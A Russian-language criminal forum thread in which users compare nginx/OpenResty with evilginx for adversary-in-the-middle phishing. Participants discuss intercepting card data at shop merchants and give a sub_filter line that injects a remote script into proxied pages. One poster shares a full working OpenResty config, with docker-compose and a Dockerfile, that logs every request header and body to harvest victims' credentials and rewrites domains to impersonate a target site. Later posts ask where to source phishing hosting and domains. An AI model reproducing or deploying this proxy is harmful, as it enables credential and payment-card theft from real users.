• XSS.stack #1 – первый литературный журнал от юзеров форума

Кто пробовал без evilginx каким-нибудь openresty или nginx в качестве реверс прокси с фильтрацией обратно отдаваемого контента фишить на практике?

zdestuta

(L1) cache
Пользователь
Регистрация
04.06.2024
Сообщения
754
Реакции
375
Например, с помощью header_filter_by_lua_block+body_filter_by_lua_block (openresty) или ngx_http_sub_module (nginx, sub_filter директива появляется) - насколько геморно на практике получается?
Таким образом обычно хостеры раньше банеры свои вставляли во все странички типа платы за бесплатный хостинг, но можно принципе что угодно любые JS скрипты на клиента отдать добавив на страницу, например - кто-то баловался?
Интересуют именно нюансы и возможные "нежданчики" (ваши кейзы , практические), то что метод рабочий (но довольно таки геморный - это факт, с этим не спорю) - это я уже знаю :)
 
Да не сказать, чтобы прям геморнее. Если нужно отпроксировать мерчант (например, перехватывать сс в магазине, где мерчант с редиректом используется) - nginx намного лучше, чем evilginx - как минимум, стабильностью. Эвил любит падать в неожиданный момент, чем может запороть вообще все :)
Опять же, не нужно прибегать к костылям вроде tmux. Одни плюсы)
 
Опять же, не нужно прибегать к костылям вроде tmux.
А evilginx он чо никак не умеет кроме как в консоли? То есть для персистента ему tmux/screen/etc. надо?
Я думал его только для демо прям берут и запускают в консоли, а так он может вообще демоном крутиться, разве нет?

С опенрести или нгинкс да, их и в докере можно запустить и легко перенести если хостинг "спалился" или абуза какая...
 
А evilginx он чо никак не умеет кроме как в консоли? То есть для персистента ему tmux/screen/etc. надо?
Да там даже в обучающем видосе от автора, в качестве решения проблемы персиста предлагается tmux. Ну и как сервис оно не работает из коробки, да, нет такой опции. Возможно в платной версии иначе, но нигде про это явно не написано (с платной не работал). Полагаю, что для него можно попробовать init скрипт написать, и как-то будет работать даже - но оно такое кривое, что ну его нафиг)
Ну и да, про написано\не написано - документация ужасная, ко всему прочему) Поэтому, настоятельно не рекомендую для боевого применения evilginx, только потестить что-то, и не более. Nginx наше все)

P.S.
Если кому интересно - видел здесь модифицированный nginx, исходники выкладывали - с какими-то плюшками, как раз под такие вот дела.
 
Последнее редактирование:
Если нужно отпроксировать мерчант (например, перехватывать сс в магазине, где мерчант с редиректом используется) - nginx намного лучше, чем evilginx - как минимум, стабильностью.
Поделитесь каким-нибудь простым рабочим примерчиком nginx.conf для openresty ? :)
Можно ли на практике логировать через io.open() ну если запросов мало? тормозит оно так или нет? или всё же лучше юзать что-то типа lua_shared_dict+flush или lua-resty-log-buffered или lua-resty-logger-socket ?
 
Например, с помощью header_filter_by_lua_block+body_filter_by_lua_block (openresty) или ngx_http_sub_module (nginx, sub_filter директива появляется) - насколько геморно на практике получается?
Таким образом обычно хостеры раньше банеры свои вставляли во все странички типа платы за бесплатный хостинг, но можно принципе что угодно любые JS скрипты на клиента отдать добавив на страницу, например - кто-то баловался?
Интересуют именно нюансы и возможные "нежданчики" (ваши кейзы , практические), то что метод рабочий (но довольно таки геморный - это факт, с этим не спорю) - это я уже знаю :)
на nginx через sub_filter проще реализовывать чем дрочиться с lua. пример где можно js прописать, только не забыть прописать location к нему. sub_filter '</head>' '</head><script src="https://domain.cc/путь/путь/js/my.js"></script>'; ну и т.п. случаи, можно и не только js добавлять, но и другие форматы
 
на nginx через sub_filter проще реализовывать чем дрочиться с lua. пример где можно js прописать, только не забыть прописать location к нему. sub_filter '</head>' '</head><script src="https://domain.cc/путь/путь/js/my.js"></script>'; ну и т.п. случаи, можно и не только js добавлять, но и другие форматы
да, это добавить скрипт, простейший варик для "100% XSS" (ну практически)
опять же, если ответ правишь, то ведь надо Content-Length убирать чтобы nginx в Transfer-Encoding chunked перешёл автоматом, а также gzip просить проксируемый ресурс отключить...
однако на Lua можно headers логировать и body POST запросов логировать и много чего ещё делать, если более-менее универсальное решение делать а не каждый раз под каждый таргет задрачиваться.
 
В общем это пц как просто оказалось, я не поленился и вот конфиг nginx.conf для openresty который тупо всё логирует заголовки плюс тела запросов, а в ответах для определёных типов контента подменяет содержимое в частности домен, вот рабочий провереный мной лично PoC :
Код:
# LOCALDOMAIN.TLD - для "мамонта"
# REMOTEDOMAIN.TLD - оригинал сайта, таргет
# как всё работает вот кратко смотри картинку тут https://openresty-reference.readthedocs.io/en/latest/Directives/
worker_processes 1;
events { worker_connections 1024; }

http {
    resolver 8.8.8.8 8.8.4.4 1.1.1.1 1.0.0.1 ipv6=off valid=300s;

    include       mime.types;
    default_type  application/octet-stream;

    lua_need_request_body on;
    client_max_body_size 10m;
    sendfile on;

    access_log /dev/stdout combined; # для запуска в докере валим логи в консоль
    error_log  /dev/stderr debug;

    server {
        listen 80;
        server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD;
        return 301 https://$host$request_uri; # редирект на HTTPS
    }

    server {
        listen 443 ssl;
        server_name LOCALDOMAIN.TLD *.LOCALDOMAIN.TLD; # тут к сожалению нельзя переменные заюзать

        # если хотите поиграться с самоподписанным сертификатом
        # openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout LOCALDOMAIN.TLD.pem -out LOCALDOMAIN.TLD.pem
        ssl_certificate     /etc/ssl/certs/LOCALDOMAIN.TLD.pem;
        ssl_certificate_key /etc/ssl/private/LOCALDOMAIN.TLD.pem;

        location / {
            access_by_lua_block {
                -- Накуй вебсокеты мы их не сможем да и не надо
                local upgrade = ngx.req.get_headers()["Upgrade"]
                if upgrade and upgrade:lower() == "websocket" then return  end

                ngx.req.read_body()
                local request_headers = ngx.req.get_headers()
                local request_body = ngx.req.get_body_data()

                -- Логируем все заголовки запроса "как есть"
                io.stdout:write("==== Incoming Request (from Browser) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
                for k, v in pairs(request_headers) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write(request_body or "\n", "\n") io.stdout:flush()
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Подменяем заголовки какие надо
                for k, v in pairs(request_headers) do
                    if type(v) == "string" then
                        ngx.req.set_header(k, v:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD"))
                    elseif type(v) == "table" then
                        local new_tbl = {}
                        for i, val in ipairs(v) do
                            new_tbl[i] = val:gsub("LOCALDOMAIN.TLD", "REMOTEDOMAIN.TLD")
                        end
                        ngx.req.set_header(k, new_tbl)
                    end
                end

                -- И ещё раз логируем подменённые - этож концепт, для отладки
                local request_headers_m = ngx.req.get_headers()
                io.stdout:write("==== Incoming Request (Changed) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.request_method, " ", ngx.var.request_uri, " ", ngx.var.server_protocol, "\n") io.stdout:flush()
                for k, v in pairs(request_headers_m) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("Body: ", request_body or "(empty)", "\n") io.stdout:flush()
                io.stdout:write("===========================\n") io.stdout:flush()
            }

            ### proxy_set_header Host $http_host; # уже сделано в access_by_lua_block
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header Accept-Encoding ""; # чтоб remote не вздумал прислать gzip , можно в принципе тоже в access_by_lua_block делать, я просто ленивый
            # чтоб вебсокеты вообще работали просто байпассить их будем тупо
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
            proxy_read_timeout 3600s; # для длинных вебсокетных сессий полезно
            # end по вебсокетам, выше см.
            proxy_ssl_server_name on; # отправляем обязательно SNI чтоб не облажаться например если таргет за CloudFlare в том числе
            proxy_pass https://$http_host; # поехали!

            # Обрабатываем заголоки ответа
            header_filter_by_lua_block {
                local response_headers = ngx.resp.get_headers() or {}

                -- Логируем заголовки ответа "как есть"
                io.stdout:write("==== Response Headers (from Remote) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
                for k, v in pairs(response_headers) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Подменяем чего надо в заголовках ответа
                for k, v in pairs(response_headers) do
                    if type(v) == "string" then
                        local new_value = v:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
                        if new_value ~= v then
                            ngx.header[k] = new_value
                        end
                    elseif type(v) == "table" then
                        local new_tbl = {}
                        for i, val in ipairs(v) do
                            new_tbl[i] = val:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")
                        end
                        ngx.header[k] = new_tbl
                    end
                end

                -- Ещё раз логируем уже поменяные заголовки ответа - для дебага чисто, этож PoC
                io.stdout:write("==== Response Headers (Changed) ====\n") io.stdout:flush()
                io.stdout:write(ngx.var.server_protocol, " ", ngx.status, "\n") io.stdout:flush()
                for k, v in pairs(ngx.header) do
                    if type(v) == "table" then
                        io.stdout:write(k, ": ", table.concat(v, ", "), "\n") io.stdout:flush()
                    else
                        io.stdout:write(k, ": ", v, "\n") io.stdout:flush()
                    end
                end
                io.stdout:write("===========================\n") io.stdout:flush()

                -- Инициализируем таблицу Lua для сборки всего body ответа, можно было бы по chunk'ам реплейсить, но есть риск объебаться если то что надо реплейсить будет на границе двух чанков
                ngx.ctx.response_body = {}
            }

            # Обработка тела ответа от remote, вызывается несколько раз по'chunk'ово
            body_filter_by_lua_block {
                -- забиваем на вебсокеты мы их не можем в рамках данного модуля, если хотите вебсокеты то вариант только свой модуль писать на C
                if ngx.var.http_upgrade and ngx.var.http_upgrade:lower() == "websocket" then return end

                local chunk, eof = ngx.arg[1], ngx.arg[2] -- ngx.arg[1] это чанк, а ngx.arg[2] это признак eof true/false
                if not chunk then return end

                -- не везде подменяем, а только для определённых типов контента, ибо в картинках JPG или PNG доменного имени я ещё не видел ни разу :-)
                if not ngx.ctx.should_replace then
                    local content_type = ngx.header.content_type or ""
                    -- модифицируем только HTML, JS, CSS, or JSON
                    if content_type:find("text/html") or
                       content_type:find("application/javascript") or
                       content_type:find("text/javascript") or
                       content_type:find("text/css") or
                       content_type:find("application/json")
                    then
                        ngx.ctx.should_replace = true
                    else
                        ngx.ctx.should_replace = false
                    end
                end

                -- Если не надо ничего менять - тупо passthrough этот chunk (да и последующие этого же контента, например картинки растровой) нетронутым
                if not ngx.ctx.should_replace then
                    return
                end

                -- собираем чанки
                if chunk ~= "" then
                    table.insert(ngx.ctx.response_body, chunk)
                    ngx.arg[1] = nil -- don't send the chunk to client yet
                end

                -- всё прилетело, можно бодик собирать!
                if eof then
                    local response_body = table.concat(ngx.ctx.response_body)

                    -- и в полностью соббранном бодике ответа уже подменяем чего нам надо
                    response_body = response_body:gsub("REMOTEDOMAIN.TLD", "LOCALDOMAIN.TLD")

                    -- логируем поменяный бодик ответа, правда хз нафиг это надо, только логи засирать, потому закомментил
                    -- io.stdout:write("==== Modified Full Response Body ====\n") io.stdout:flush()
                    -- io.stdout:write(response_body, "\n") io.stdout:flush()
                    -- io.stdout:write("=====================================\n") io.stdout:flush()

                    ngx.arg[1] = response_body # возвращаем целиком поменяный бодик "мамонту" , заголовки ранее уже сделали см. выше
                    ngx.arg[2] = true
                end
            }
        }
    }
}
И вот такой например docker-compose.yml чтоб запускать просто:
Код:
services:
  openresty:
    container_name: "openresty"
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro
      - ./pem:/etc/ssl/pem:ro
    restart: unless-stopped
И вот такой Dockerfile , можно и без него конечно, но вдруг чего доставить какие Lua модули захотите:
Код:
# за основу берём openresty свежак на данный момент, полный, на базе Debian Bookword для AMD64 , если у вас сервак ARM или ARM64 ну образ базовый соответственно смените а этой строке
FROM openresty/openresty:1.27.1.2-5-bookworm-fat-amd64

# ставим дополнительные Lua модули, ну мало ли захочется фиши в БД складывать например
#RUN luarocks install lua-resty-http \
#    && luarocks install lua-resty-jwt \
#    && luarocks install lua-cjson

# ставим дополнительный софт если надо
#RUN apt-get update && apt-get install -y \
#    vim curl git less \
#    && rm -rf /var/lib/apt/lists/*

EXPOSE 80 443

# запускаем избегая демонизации - нам логи в консоли нужны потому что
CMD ["/usr/local/openresty/bin/openresty", "-g", "daemon off;"]

Никакие претензии "это ниработает на ВКонтакте!" не принимаются - да это криво но оно точно 100пудово работает!
Я для того PoC и публикую, чтобы кому надо доделали сами, а если у вас не работает - значит вам оно и не надо, а надо читать мануалы ! :)

Фишит это дело только один домен как видите, соответственно простые WordPress админки или входы на роутер или какую-то ерунду оно залогирует и подменит как здрасьте, проверено!

Бонус такого деплоя: вам не обязательно сервак - с этой штукой можно поиграться локально (и даже в виртуальной машине) поменяв /etc/hosts или C:\Windows\system32\drivers\etc\hosts и доверившись в браузере вашему самоподписанному сертификату.

Synthesis , зацени плиз ;-)
 
Последнее редактирование:
Synthesis , зацени плиз ;-)
На днях на практике это обкатаю, на тех таргетах, на которых обычно это делаю - и поделюсь выводами\выкладками\сравнениями развернуто. Упустил развитие дискуссии)
 
На днях на практике это обкатаю, на тех таргетах
ну только запили логи норм, а то я PoC опубликовал - он всё и дофига логирует - замучаешься рыться в логах потом :)
а где хостинг и домены под фиш берёшть если не секрет?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх